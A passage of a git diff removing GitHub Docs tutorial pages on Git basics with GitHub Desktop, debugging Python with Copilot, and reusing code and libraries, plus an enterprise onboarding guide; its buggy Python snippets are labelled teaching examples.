{% data variables.product.prodname_desktop %}, click **Publish repository**. -1. In the pop up that appears, click **Publish repository** one more time. -1. To see your remote repository, click **View on {% data variables.product.github %}**. - -### Setting up a space to make changes - -Now that you've created a repository, let's talk about **branches**. Branches are essentially copies of your project where you can test changes without risking the stability of your existing work. - -Repositories are automatically created with a `main` branch, which you can think of as the stable, primary version of your project. For example, in the repository for a website, the `main` branch corresponds to the site that visitors can see. - -When you create a new branch, you're creating a safe space to work on a new feature without affecting the primary version. You and your collaborators can use different branches to work on multiple features at the same time. - -Let's create a branch to work on changes in our repository: - -1. In {% data variables.product.prodname_desktop %}, select the {% octicon "git-branch" aria-hidden="true" %} **Current Branch** dropdown menu, then click **New Branch**. -1. Name your new branch `readme-updates`, then click **Create Branch**. - -### Saving snapshots of your project - -To save your progress to your branch, you make a **commit**. A commit is a snapshot you take of your project at a particular point in time. You've actually already made your first commit: when you initialized your project with a README, {% data variables.product.prodname_desktop %} automatically created an initial commit to add the `README.md` file. - -Whenever you complete a chunk of work that you want to save, you should make a commit. After you do, you can always go back to that point in time, no matter how many changes you make in the future. - -1. In {% data variables.product.prodname_desktop %}, click **Open in {% data variables.product.prodname_vscode %}**. -1. In {% data variables.product.prodname_vscode_shortname %}, paste the following text into `README.md` and save your changes: - - ```markdown copy - Hello, World! - - This is a demo project for learning how to use Git. - ``` - -1. Back in {% data variables.product.prodname_desktop %}, you'll see the updates you just made to your README. In the bottom left, next to your {% data variables.product.github %} profile picture, type "Update README" in the text box. This is called a **commit message**, and it helps you keep track of the changes you make in each commit. -1. To make your commit, click **Commit to readme-updates**. - -### Bringing your changes into your main branch - -When you're happy with the changes you've made on a branch, you can publish your branch to the remote repository and create a **pull request**. Pull requests let you review a set of proposed changes, then merge them from one branch into another. In our case, we'll create a pull request that brings the changes we made in `readme-updates` into our original branch, `main`. - -1. Click **Publish branch** to push the `readme-updates` branch with your changes to the remote repository. -1. To review your suggested changes, click **Preview Pull Request**. -1. Click **Create Pull Request**. -1. In the {% data variables.product.github %} window that appears, change your pull request title to "Add a message to the README", then write a brief description of your changes in the comment box. -1. Click **Create pull request**. -1. To bring your changes into the `main` branch, at the bottom of the page, click **Merge pull request**. - - > [!NOTE] When you're working on a project with other developers, it's standard practice for someone else to review your pull request before it's merged. - -1. Near the bottom of the page, click **Delete branch**. Deleting branches that have been merged into `main` helps keep your repository clean and easy to navigate. - -### Preparing to make more changes - -Congratulations on merging your first pull request! Now that you've successfully brought your changes into the `main` branch, there are a few steps you should take to get ready for your next round of changes: - -1. In {% data variables.product.prodname_desktop %}, if you aren't on the `main` branch, select the {% octicon "git-branch" aria-hidden="true" %} **Current Branch** dropdown menu, then click **main**. - - You should almost always switch back to the `main` branch before creating a new branch, since new branches are created as copies of the currently selected branch. -1. To check if any changes have been made to your remote `main` branch, click **Fetch origin**. -1. Finally, to update your local `main` branch with changes to the remote `main` branch, click **Pull origin**. - -You now have all of the skills necessary for setting up and using Git on a project! - -## Diving deeper into Git on the command line - -{% data variables.product.prodname_desktop %} is designed to address your day-to-day Git needs. As you grow as a developer, you're likely to run into some unusual situations where you want more control over a Git operation, or you need to use more complex commands. In those instances, you'll need to switch to using written Git commands on the command line. - -### Setting up your command line - -Before you start working with the command line, you need to set up a few tools. - -1. In {% data variables.product.prodname_desktop %}, press Ctrl+` to open your project on the command line. -1. If you're using Windows, [install Git](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git). For macOS and Linux, Git is installed by default. -1. [Install the {% data variables.product.prodname_cli %}](https://github.com/cli/cli?tab=readme-ov-file#installation), which lets you perform {% data variables.product.github %}-related actions quickly from the command line. -1. To authenticate to {% data variables.product.github %} from the {% data variables.product.prodname_cli %}, run the following command: - - ```shell copy - gh auth login - ``` - - Choose to authenticate with **{% data variables.product.prodname_dotcom_the_website %}**, then follow the on-screen prompts. -1. Install {% data variables.product.prodname_copilot_cli %}, a powerful extension for the {% data variables.product.prodname_cli %} that helps you find and understand commands, by running the following command: - - ```shell copy - gh extension install github/gh-copilot - ``` - -### Experimenting with complex commands - -Now that you're set up, let's learn how to find and understand the commands you might need in the future. For example, let's say you saw someone online mention `git blame`, but you don't know what it does. Try asking {% data variables.product.prodname_copilot_short %} to explain it with the following command: - -```shell copy -gh copilot explain "git blame" -``` - -{% data variables.product.prodname_copilot_short %} will tell us that `git blame` provides a detailed history of a file, showing the author and commit that last modified each line in the file. Try it yourself with the following command: - -```shell copy -git blame README.md -``` - -This is a great tool, but as you can imagine, the blame for a file can get really long. Let's say you're only interested in the most recent update to a specific line in a file. You can ask {% data variables.product.prodname_copilot_short %} to build you the right command: - -```shell copy -gh copilot suggest "Show me the blame for line 1 of README.md" -``` - -When {% data variables.product.prodname_copilot_short %} asks what kind of command you're looking for, use your arrow keys to choose **git command**, then press Enter. {% data variables.product.prodname_copilot_short %} will then suggest the following command: - -```shell copy -git blame -L 1,1 README.md -``` - -Use your arrow keys to choose **Execute command**, then press Enter. You'll see the author and commit that last modified line 1 of `README.md`. - -## Review and next steps - -In this article, we covered the basics of Git with {% data variables.product.prodname_desktop %}, learning important terms like: - -* **Repository**: A folder that saves all of the changes made to files in your project. -* **Commit**: A snapshot of your project at a particular point in time. -* **Branch**: A copy of your project where you can work on a set of changes. -* **Pull request**: A request to merge changes from one branch into another. - -We also talked about performing more complicated Git operations on the command line. We tried out `gh copilot explain` and `gh copilot suggest` to understand and find new commands and functionality. - -Now, try applying what you've learned to your own work. Add Git to an existing project with {% data variables.product.prodname_desktop %} by pressing Ctrl+O (Windows/Linux) or Command+O (Mac) and experience the benefits of version control yourself! diff --git a/content/get-started/learning-to-code/index.md b/content/get-started/learning-to-code/index.md deleted file mode 100644 index 13595675bf52..000000000000 --- a/content/get-started/learning-to-code/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Learning to code -intro: "Learn how {% data variables.product.github %} can help while you're learning to code." -versions: - fpt: '*' -children: - - /getting-started-with-git - - /finding-and-understanding-example-code - - /reusing-other-peoples-code-in-your-projects - - /learning-to-debug-with-github-copilot -shortTitle: Learn to code ---- diff --git a/content/get-started/learning-to-code/learning-to-debug-with-github-copilot.md b/content/get-started/learning-to-code/learning-to-debug-with-github-copilot.md deleted file mode 100644 index 08eb84b06493..000000000000 --- a/content/get-started/learning-to-code/learning-to-debug-with-github-copilot.md +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: Learning to debug with GitHub Copilot -intro: 'Identify and fix errors in your code by asking {% data variables.product.prodname_copilot %} for help.' -topics: - - Copilot -versions: - fpt: '*' -shortTitle: Debug with Copilot ---- - -Finding and fixing bugs in code can be frustrating, especially when you're a new developer. Thankfully, tools like {% data variables.product.prodname_copilot %} can quickly identify and squash bugs, letting you focus on more creative, interesting work. - -## Prerequisites - -The examples in this article assume you're using {% data variables.product.prodname_copilot %} to debug a Python project in {% data variables.product.prodname_vscode %} ({% data variables.product.prodname_vscode_shortname %}). To follow the examples, you need to: -* Complete [Set up {% data variables.product.prodname_vscode %} with {% data variables.product.prodname_copilot_short %}](https://code.visualstudio.com/docs/copilot/setup-simplified) in the {% data variables.product.prodname_vscode %} documentation. -* [Download Python](https://www.python.org/downloads/). -* Install the [Python extension for {% data variables.product.prodname_vscode %}](https://marketplace.visualstudio.com/items?itemName=ms-python.python). - -## Learning to debug through examples - -There are two main situations you'll encounter when you try to run bugged code: - -* Your code exits before it finishes running, and you receive an error message. -* Your code runs without errors, but the output is different from what you expected. - -Thankfully, {% data variables.product.prodname_copilot_short %} can help debug your code in both situations. To learn how, work through the following examples. - -### Debugging an error with {% data variables.product.prodname_copilot %} - -When you run bugged code, you'll often receive an error message. The message tells you the file and line where the error occurred and briefly describes what went wrong. However, error messages can be confusing. To fully understand and fix the bug, we can ask {% data variables.product.prodname_copilot_short %} for help. - -Let's try this out with the [`bugged_dice_battle.py`](https://github.com/new2code/debug-with-copilot/blob/main/bugged_dice_battle.py) file in the [`new2code/debug-with-copilot`](https://github.com/new2code/debug-with-copilot) repository. This program simulates a dice battle between two players using the following code: - -```python -# Import the random module to easily generate pseudo-random numbers -import random - -# Define a function that simulates a dice battle between two players -def dice_battle(): - - # Generate random numbers between 1 and 6 for each player's die roll - die_1 = random.randint(1, 6) - die_2 = random.randint(1, 6) - - # Compare the die rolls and return the result as a string - if die_1 > die_2: - return "Player 1 rolled a " + die_1 + " and Player 2 rolled a " + die_2 + ". Player 1 wins!" - elif die_1 < die_2: - return "Player 1 rolled a " + die_1 + " and Player 2 rolled a " + die_2 + ". Player 2 wins!" - else: - return "Player 1 rolled a " + die_1 + " and Player 2 rolled a " + die_2 + ". It's a tie!" - -print(dice_battle()) -``` - -First, we need to create a local copy of the example repository: - -1. [Start cloning the new2code/debug-with-copilot repository](vscode://vscode.git/clone?url=https://github.com/new2code/debug-with-copilot) in {% data variables.product.prodname_vscode_shortname %}. -1. Choose a location to save the repository on your computer, then click **Select as Repository Destination**. -1. When prompted, open the repository. - -Now that we've cloned the repository, let's run `bugged_dice_battle.py` to see the output: - -1. Open the Command Palette by pressing Ctrl+Shift+P (Windows/Linux) or Cmd+Shift+P (Mac). -1. Type `Terminal: Create New Terminal` and press Enter. -1. In the terminal tab, paste the following command. - - Windows: - - ```shell copy - py bugged_dice_battle.py - ``` - - Mac or Linux: - - ```shell copy - python bugged_dice_battle.py - ``` - -1. Press Enter to run the program. - -Unfortunately, we get some error text in our terminal ending with the following message: - -> TypeError: can only concatenate str (not "int") to str - -To understand what this means, press Ctrl+Alt+I (Windows/Linux) or Command+Shift+I (Mac) to **open {% data variables.product.prodname_copilot_chat_short %}**, then paste and send the following prompt: - -```text copy -Explain in depth why my code produces the following error and how I can fix it: - -TypeError: can only concatenate str (not "int") to str -``` - -{% data variables.product.prodname_copilot_short %} will respond that the error occurs because we are trying to concatenate the integers `die_1` and `die_2` to strings, and you can only concatenate strings to strings. It will then provide an updated version of our code that fixes the bug by using the `str()` function to convert the integers to strings before concatenating them. - -### Debugging an incorrect output with {% data variables.product.prodname_copilot %} - -Sometimes, bugged code runs without throwing any errors, but the output is clearly incorrect. In this case, debugging can be more difficult because {% data variables.product.prodname_vscode_shortname %} can't tell you the location or description of the bug. - -For these "invisible" bugs, {% data variables.product.prodname_copilot_short %} is particularly useful. Let's get some hands-on experience using the [`bugged_factorial_finder.py`](https://github.com/new2code/debug-with-copilot/blob/main/bugged_factorial_finder.py) file in the [`new2code/debug-with-copilot`](https://github.com/new2code/debug-with-copilot) repository. The Python program is supposed to calculate a factorial, and it contains the following code: - -```python -# Initialize the factorial result to 1 -factorial = 1 - -# Initialize the input number to 6 -number = 6 - -# Loop from 1 to number (inclusive) and multiply factorial by each number -for i in range(1, number + 1): - factorial *= factorial * i - -print(f"The factorial of {number} is {factorial}") -``` - -Since we've already cloned the repository locally, let's run `bugged_factorial_finder.py` to see the output: - -1. In the terminal you created earlier, paste the following command. - Windows: - - ```shell copy - py bugged_factorial_finder.py - ``` - - Mac or Linux: - - ```shell copy - python bugged_factorial_finder.py - ``` - -1. Press Enter to run the program. - -Unfortunately, the code isn't working as expected. We want it to return `720`, the correct value of 6 factorial, but the output is much higher than that. - -To understand what went wrong, with the `bugged_factorial_finder.py` file open in {% data variables.product.prodname_vscode_shortname %}, open {% data variables.product.prodname_copilot_chat_short %} and send the following prompt: - -```text copy -Why is the output of this code so much higher than expected? Please explain in depth and suggest a solution. -``` - -{% data variables.product.prodname_copilot_short %} will point out that, because we're using the `*=` operator, we're actually multiplying `factorial` by both `i` **and** `factorial`. In other words, we're multiplying by an extra `factorial` for each iteration of the loop. - -To fix this error, {% data variables.product.prodname_copilot_short %} will suggest code that removes the extra `factorial` from the equation, or that changes the `*=` operator to `=`. - -## Debugging your own project - -Now that you've practiced debugging some simple programs with {% data variables.product.prodname_copilot_short %}, you can use the same methodologies to find and fix bugs hiding in your own work. - -For example, to debug an error message generated by your code, send {% data variables.product.prodname_copilot_short %} the following prompt: - -```text copy -Explain in depth why my code produces the following error and how I can fix it: - -YOUR-ERROR-MESSAGE -``` - -Otherwise, if you're debugging an incorrect output, ask {% data variables.product.prodname_copilot_short %} why the output is incorrect and how you can fix it. For the best results, provide as much context as possible on how the output differs from your expectations. - -With these tactics, you're well equipped to start squashing bugs in your project! - -## Next steps - -As you continue coding, you'll likely encounter specific problem scenarios and errors that are difficult to debug. For a list of potential issues and example {% data variables.product.prodname_copilot_chat_short %} prompts to fix them, see [AUTOTITLE](/copilot/copilot-chat-cookbook/debugging-errors). diff --git a/content/get-started/learning-to-code/reusing-other-peoples-code-in-your-projects.md b/content/get-started/learning-to-code/reusing-other-peoples-code-in-your-projects.md deleted file mode 100644 index 5cf7e63fb1b2..000000000000 --- a/content/get-started/learning-to-code/reusing-other-peoples-code-in-your-projects.md +++ /dev/null @@ -1,191 +0,0 @@ ---- -title: Reusing other people's code in your projects -intro: 'Increase your coding efficiency and knowledge by integrating existing code into your projects.' -shortTitle: Reuse people's code -versions: - fpt: '*' -allowTitleToDifferFromFilename: true ---- - -One of the best things about open source software is the ability to reuse other people's code. Repurposing code helps you save time, discover new functionality, and learn other programming styles. There are two main ways to reuse code: - -* **Copying and pasting a code snippet directly into your project.** If you're new to coding, this is the quickest way to start reusing code. -* **Importing a library into your project.** While this approach takes some time to learn, it's ultimately easier and more efficient. It's also a foundational skill for software development. - -In this article, we'll learn both by working through an example: reusing Python code that calculates the factorial of a number. - -## Using other people's code snippets in your project - -When you're first learning to code, you might start with reuse by copying and pasting other people's code snippets into your project. It's a great way to save time, but there are a few key steps you should always take before copying another developer's code. - -### 1. Finding and understanding a code snippet - -First, you need to find and understand the code snippet you want to reuse. For this example, we'll choose the [`new2code/python-factorial`](https://github.com/new2code/python-factorial) repository. - -First, **open** [`factorial_finder.py`](https://github.com/new2code/python-factorial/blob/main/factorial_finder.py), which implements the calculator using a loop: - -```python -# Initialize the factorial result to 1 -factorial = 1 - -# Initialize the input number to 6 -number = 6 - -# Loop from 1 to number (inclusive) and multiply factorial by each number -for i in range(1, number + 1): - factorial *= i - -print(f"The factorial of {number} is {factorial}") -``` - -Then, in the menu bar at the top of the file, click {% octicon "copilot" aria-label="Ask Copilot about this file" %} to start a conversation with {% data variables.product.prodname_copilot_short %}. - -![Screenshot of the {% data variables.product.prodname_copilot_short %} button, outlined in dark orange, at the top of the file view.](/assets/images/help/copilot/factorial-finder-copilot-button.png) - -In the chat window, ask {% data variables.product.prodname_copilot_short %}: - -```text copy -Explain this program. -``` - -### 2. Understanding project licensing - -Before you can reuse the code you've found, you need to understand its licensing. Licenses determine how you can use the code in a project, including your ability to copy, modify, and distribute that code. - -To identify the license for [new2code/python-factorial](https://github.com/new2code/python-factorial), locate the "About" section on the repository's main page. There, you'll see that the repository is licensed under the MIT license. To read the license, click {% octicon "law" aria-hidden="true" %} **MIT license**. - - ![Screenshot of the main page of the new2code/python-factorial repository. In the right sidebar, "MIT license" is outlined in dark orange.](/assets/images/help/repository/license-info-python-factorial.png) - -We want to copy the entire `factorial_finder.py` file, so the MIT license indicates that we should include a copy of the license in our own project. At the top of your Python file, paste the license as a comment. - -> [!TIP] You can learn what's allowed by other common licenses with the [Choose a license](https://choosealicense.com/licenses/) tool. - -### 3. Using and modifying code snippets - -Now, you're ready to paste the code snippet into your project. While you'll sometimes to be able to use code snippets as they are, you will often want to **modify** them for your specific use case. Let's practice that now! - -Let's say we want to quickly calculate the factorials of 5, 7, 9, and 10. Instead of copying and pasting the entire program for each number, we can move our calculator into a **function** that takes a number as an argument. - -Use [{% data variables.product.prodname_copilot_chat_short %}](https://github.com/copilot) to suggest and explain an implementation. Paste our current code into the chat window, followed by this prompt: - -```text copy -Wrap the Python code above in a function. -``` - -{% data variables.product.prodname_copilot_short %} will generate code that looks something like this: - -```python copy -def calculate_factorial(number): - # Initialize the factorial result to 1 - factorial = 1 - - # Loop from 1 to number (inclusive) and multiply factorial by each number - for i in range(1, number + 1): - factorial *= i - - return factorial -``` - -With our new function, we can easily find the factorials of our numbers by adding the following code to our project, then running the Python program: - -```python copy -print(calculate_factorial(5)) -print(calculate_factorial(7)) -print(calculate_factorial(9)) -print(calculate_factorial(10)) -``` - -Congratulations! You've successfully found, understood, and modified an example code snippet. - -## Using code from libraries in your project - -Now, let's learn how to use libraries, which is **standard practice** for developers. Libraries are essentially collections of code written by other developers to perform specific tasks. You can import libraries into your project to use the pre-written code, saving you time and effort. - -In this section, we'll continue working with the Python factorial calculator example from the previous section. For reference, here's our current code: - -```python copy -def calculate_factorial(number): - # Initialize the factorial result to 1 - factorial = 1 - - # Loop from 1 to number (inclusive) and multiply factorial by each number - for i in range(1, number + 1): - factorial *= i - - return factorial - -print(calculate_factorial(5)) -print(calculate_factorial(7)) -print(calculate_factorial(9)) -print(calculate_factorial(10)) -``` - -### 1. Finding a library - -Once you know what functionality you want to add to your project, you can search for a library with relevant code. {% data variables.product.prodname_copilot_chat_short %} is an easy way to search for libraries, since you can use natural language to describe exactly what you're looking for. - -Finding a factorial is a pretty common function, and there's a good chance someone included that function in an existing library. Open [{% data variables.product.prodname_copilot_chat_short %}](https://github.com/copilot), then ask: - -```text copy -Is there a Python library with a function for calculating a factorial? -``` - -{% data variables.product.prodname_copilot_short %} will tell us a factorial function is included in the [`math`](https://docs.python.org/3/library/math.html) module from the standard Python library. - -### 2. Prioritizing security in your project - -When you add a library or module to your project, you create what's called a **dependency**. Dependencies are pre-written code bundles that your project relies on to function correctly. If they aren't carefully written or maintained, they can introduce security vulnerabilities to your work. - -Thankfully, there are some steps you can take to best protect your project. Let's practice them now. - -#### Using popular libraries - -Popular libraries are more likely to be secure, because they are actively maintained and used by many developers. One good marker of popularity is the number of **stars** a repository has. If you can't find the {% data variables.product.github %} repository for a dependency, you can ask {% data variables.product.prodname_copilot_short %} for help. - -Open [{% data variables.product.prodname_copilot_chat_short %}](https://github.com/copilot), then ask: - -```text copy -Find the GitHub repository containing the code for the math module in Python. -``` - -{% data variables.product.prodname_copilot_short %} will tell you that the `math` module is defined in [`python/cpython`](https://github.com/python/cpython), which has over 64,000 stars. - -#### Enabling {% data variables.product.prodname_dependabot_alerts %} for your project - -When enabled, {% data variables.product.prodname_dependabot_alerts %} are automatically generated when {% data variables.product.prodname_dependabot %} detects a security issue in your dependencies, helping you quickly fix vulnerabilities. {% data variables.product.prodname_dependabot %} is available for **free** on all open source {% data variables.product.github %} repositories. - -Turn {% data variables.product.prodname_dependabot_alerts %} on for your repository now. Click the **Security** tab for your project's {% data variables.product.github %} repository. Next to {% data variables.product.prodname_dependabot_alerts %}, click **Enable {% data variables.product.prodname_dependabot_alerts %}**. You can access {% data variables.product.prodname_dependabot_alerts %} from the **{% data variables.product.prodname_dependabot %}** tab of the sidebar. - - ![Screenshot of the "Security" page of a repository. The "Security" tab, "{% data variables.product.prodname_dependabot %}" tab, and "Enable {% data variables.product.prodname_dependabot_alerts %}" button are outlined in orange.](/assets/images/help/dependabot/learners-enable-dependabot.png) - -### 3. Implementing code from a library - -Now you're ready to import the library into your project, then use its contents in your code. You can read the documentation for the library to learn how to do it yourself, or you can ask {% data variables.product.prodname_copilot_short %} to suggest and explain an implementation for you. - -Open [{% data variables.product.prodname_copilot_chat_short %}](https://github.com/copilot), then ask: - -```text copy -How do I use the factorial function of the math module in my Python project? -``` - -{% data variables.product.prodname_copilot_short %} will then suggest a version of the following code: - -```python copy -import math - -# Calculate the factorial of a number -number = 5 -result = math.factorial(number) - -print(f"The factorial of {number} is {result}") -``` - -After you replace the existing code in your project with the above implementation, you've successfully used code from a library in your example project! - -## Sharing your work - -With this tutorial, you've learned how to safely reuse other people's code in your own work. To celebrate, share how you repurposed code and built on the example project in our [community discussion](https://github.com/orgs/community/discussions/153140). - -## Further reading - -* [AUTOTITLE](/get-started/learning-to-code/finding-and-understanding-example-code) diff --git a/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md b/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md deleted file mode 100644 index f3af361315ec..000000000000 --- a/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Getting started with GitHub Enterprise Cloud -intro: 'Get started with setting up and managing your enterprise account with {% data variables.product.prodname_ghe_cloud %}.' -versions: - fpt: '*' - ghec: '*' ---- - -This guide will walk you through setting up, configuring and managing your {% data variables.product.prodname_ghe_cloud %} account as an enterprise owner. - -{% data variables.product.github %} provides two types of Enterprise products: - -* **{% data variables.product.prodname_ghe_cloud %}** -* **{% data variables.product.prodname_ghe_server %}** - -The main difference between the products is that {% data variables.product.prodname_ghe_cloud %} is hosted by {% data variables.product.github %}, while {% data variables.product.prodname_ghe_server %} is self-hosted. - -{% data variables.product.prodname_ghe_cloud %} includes an enterprise account, which allows you to manage multiple organizations. You can choose to let enterprise members create and manage their own personal accounts, or you can use {% data variables.product.prodname_emus %}. For more information about {% data variables.product.prodname_ghe_cloud %}, see [AUTOTITLE](/enterprise-cloud@latest/admin/overview/about-github-enterprise-cloud). - -## Part 1: Setting up your enterprise account - -To get started with {% data variables.product.prodname_ghe_cloud %}, decide which type of enterprise to create, create an enterprise account, and add one or more organizations. - -### 1. Choosing an enterprise type - -{% data reusables.enterprise-accounts.about-enterprise-types %} Before you begin using {% data variables.product.prodname_ghe_cloud %}, you must decide which type of enterprise to use. For more information, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud). - -### 2. About enterprise accounts - -An enterprise account allows you to centrally manage policy and settings for multiple {% data variables.product.github %} organizations, including member access, billing and usage and security. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/managing-your-enterprise-account/about-enterprise-accounts). - -### 3. Creating an enterprise account - -To create your enterprise account, start a free 30-day trial of {% data variables.product.prodname_ghe_cloud %}. For more information, see [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-cloud). - -Try {% data variables.product.prodname_ghe_cloud %} for free {% octicon "link-external" height:16 %} - -### 4. Adding organizations to your enterprise account - -You can add any number of new or existing organizations to manage within your enterprise account. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise). - -### 5. Creating a README for the enterprise - -{% data reusables.enterprise.about-readmes %} For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/managing-your-enterprise-account/creating-a-readme-for-an-enterprise). - -### 6. Viewing the subscription and usage for your enterprise account - -You can view your current subscription, license usage, invoices, payment history, and other billing information for your enterprise account at any time. Both enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see [AUTOTITLE](/enterprise-cloud@latest/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account). - -## Part 2: Managing your enterprise members with {% data variables.product.prodname_ghe_cloud %} - -If your enterprise uses {% data variables.product.prodname_emus %}, your members are fully managed through your identity provider. Adding members, making changes to their membership, and assigning roles is all managed using your IdP. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/understanding-iam-for-enterprises/about-enterprise-managed-users). - -If your enterprise does not use {% data variables.product.prodname_emus %}, follow the steps below. - -### 1. Assigning roles in an enterprise - -By default, everyone in an enterprise is a member of the enterprise. There are also administrative roles, including enterprise owner and billing manager, that have different levels of access to enterprise settings and data. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise). - -### 2. Inviting people to manage your enterprise - -You can invite people to manage your enterprise as enterprise owners or billing managers or remove administrators who no longer need access. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise). - -You can also grant enterprise members the ability to manage support tickets in the support portal. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise). - -### 3. Viewing people in your enterprise - -To audit access to enterprise-owned resources or user license usage, you can view every enterprise administrator, enterprise member, and outside collaborator in your enterprise. You can see the organizations that a member belongs to and the specific repositories that an outside collaborator has access to. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise). - -## Part 3: Managing security with {% data variables.product.prodname_ghe_cloud %} - -* [Managing security with {% data variables.product.prodname_emus %}](#managing-security-with-enterprise-managed-users) -* [Managing security without {% data variables.product.prodname_emus %}](#managing-security-without-enterprise-managed-users) - -### Managing security with {% data variables.product.prodname_emus %} - -With {% data variables.product.prodname_emus %}, access and identity is managed centrally through your identity provider. Two-factor authentication and other access requirements should be enabled and enforced on your IdP. - -#### 1. Enabling SAML single sign-on and provisioning in your {% data variables.enterprise.prodname_emu_enterprise %} - -In an {% data variables.enterprise.prodname_emu_enterprise %}, all members are provisioned and managed by your identity provider. You must enable SSO and SCIM provisioning before you can start using your enterprise. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users). - -#### 2. Managing organization and team membership in your {% data variables.enterprise.prodname_emu_enterprise %} with your identity provider - -To manage organization and team membership within your enterprise from your IdP, you can connect teams in your organizations to security groups in your identity provider. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups). - -#### 3. Managing allowed IP addresses for organizations in your {% data variables.enterprise.prodname_emu_enterprise %} - -You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your {% data variables.enterprise.prodname_emu_enterprise %}. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise). - -#### 4. Enforcing policies for {% data variables.product.prodname_GHAS %} features in your {% data variables.enterprise.prodname_emu_enterprise %} - -{% data reusables.getting-started.enterprise-advanced-security %} - -### Managing security without {% data variables.product.prodname_emus %} - -To manage security for your enterprise, you can require two-factor authentication, manage allowed IP addresses, enable SAML single sign-on and team synchronization, and sign up for and enforce {% data variables.product.prodname_GHAS %} features. - -#### 1. Requiring two-factor authentication and managing allowed IP addresses for organizations in your enterprise account - -Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise account use two-factor authentication to secure their personal accounts. Before doing so, we recommend notifying all who have access to organizations in your enterprise. You can also configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. - -For more information about enforcing two-factor authentication and allowed IP address lists, see [AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise). - -#### 2. Enabling and enforcing SAML single sign-on for organizations in your enterprise account - -You can centrally manage access to your enterprise's resources from your IdP using SAML single sign-on (SSO). Enterprise owners can enable SAML SSO across all organizations owned by an enterprise account. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/understanding-iam-for-enterprises/about-saml-for-enterprise-iam). - -#### 3. Managing team synchronization - -You can enable and manage team synchronization between an identity provider (IdP) and {% data variables.product.github %} to allow organizations owned by your enterprise account to manage team membership with IdP groups. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise). - -#### 4. Enforcing policies for {% data variables.product.prodname_GHAS %} features in your enterprise account - -{% data reusables.getting-started.enterprise-advanced-security %} - -## Part 4: Managing organization and enterprise level policies and settings - -To manage and moderate your enterprise, you can set policies for organizations within the enterprise, view audit logs, configure webhooks, and restrict email notifications. - -### 1. Managing policies for organizations in your enterprise account - -You can choose to enforce a number of policies for all organizations owned by your enterprise, or choose to allow these policies to be set in each organization. Types of policies you can enforce include repository management, projects, and team policies. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/policies). - -### 2. Viewing audit logs, configuring webhooks, and restricting email notifications for your enterprise - -You can view actions from all of the organizations owned by your enterprise account in the enterprise audit log. You can also configure webhooks to receive events from organizations owned by your enterprise account. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise) and [AUTOTITLE](/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise). - -You can also restrict email notifications for your enterprise account so that enterprise members can only use an email address in a verified or approved domain to receive notifications. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise). - -## Part 5: Customizing and automating your enterprise's work on {% data variables.product.github %} - -Members of your organization or enterprise can use tools from the {% data variables.product.prodname_marketplace %}, the {% data variables.product.github %} API, and existing {% data variables.product.github %} features to customize and automate your work. - -### 1. Using {% data variables.product.prodname_marketplace %} - -{% data reusables.getting-started.marketplace %} - -### 2. Using the {% data variables.product.github %} API - -{% data reusables.getting-started.api %} - -### 3. Building {% data variables.product.prodname_actions %} - -{% data reusables.getting-started.actions %} - -### 4. Publishing and managing {% data variables.product.prodname_registry %} - -{% data reusables.getting-started.packages %} - -### 5. Using {% data variables.product.prodname_pages %} - -{% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository and publishes a website. You can manage the publication of {% data variables.product.prodname_pages %} sites at the organization level. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization) and [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages). - -## Part 6: Participating in {% data variables.product.github %}'s community - -You and your enterprise members can use GitHub's learning and support resources to get the help they need. You can also support the open source community. - -### 1. Reading about {% data variables.product.prodname_ghe_cloud %} on {% data variables.product.prodname_docs %} 